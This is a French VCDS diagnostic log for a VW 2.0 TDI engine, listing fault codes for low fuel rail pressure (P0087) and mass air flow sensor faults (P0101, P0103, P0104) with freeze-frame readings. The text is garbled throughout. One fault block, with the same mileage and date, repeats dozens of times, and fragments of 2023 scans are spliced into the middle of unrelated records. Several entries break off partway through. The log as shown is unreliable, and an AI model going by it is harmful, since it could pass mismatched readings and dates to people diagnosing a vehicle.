Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Vendredi,12,Mai,2023,16:09:34:00009
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Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Lundi,09,Septembre,2024,15:47:56:00009
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
VCID: 78FF5DE7C3D3424FF3-802C
1 Code défaut trouvé:
10065 - Débitmètre d´air massique (G70) Aucun signal
P0104 00 [167] - -
Témoin allumé - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 276644 km
Date: 2023.05.12
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 16:07:54
Régime moteur: 0.00 /min
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 94 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 87 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 12.320 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 0.0 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 0 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 887.8 hPa
Débit d'injection moyen: 0.00 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Tests passés: N/D
-----------------------------------------------------------------------------------------------------------------
Samedi,13,Mai,2023,10:45:44:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
1 Code défaut trouvé:
4794 - Débitmètre d´air massique (G70) Signal implausible
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
P0101 00 [175] - -
Témoin allumé - Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Kilométrage: 276837 km
Date: 2023.05.13
Temps: 07:55:57
Régime moteur: 1632.00 /min
Valeur de charge normée: 0.0 %
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Vitesse du véhicule: 93 km/h
Température du liquide de refroidissement: 90 °C
Température air d’admission: 78 °C
Pression de l'air ambiant: 1000 mbar
Tension borne 30: 14.560 V
Compteur de désapprentissage selon OBD: 40
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 434.2 mg/course
Rapport de flux d'air normalisé: filtré: 1.2407
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.06 %
Pression de suralimentation de consigne: 1356 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 1155.4 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Débit d'injection moyen: 0.00 mg/course
Tests passés: 1 1 0 0 X
___________________________________________________________________________
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Lundi,15,Mai,2023,13:50:54:00009
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Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
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Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
VCID: 78FF5DE7C3D3424FF3-802C
3 Codes défaut trouvés:
4798 - Débitmètre d´air massique (G70) Signal trop important
P0103 00 [101] - -
Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 277258 km
Date: 2023.05.15
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 13:12:06
Régime moteur: 875.00 /min
Valeur de charge normée: 40.4 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 31 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 27 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 13.960 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 364.7 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.10 %
Pression de suralimentation de consigne: 1223 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 887.8 hPa
Débit d'injection moyen: 8.06 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
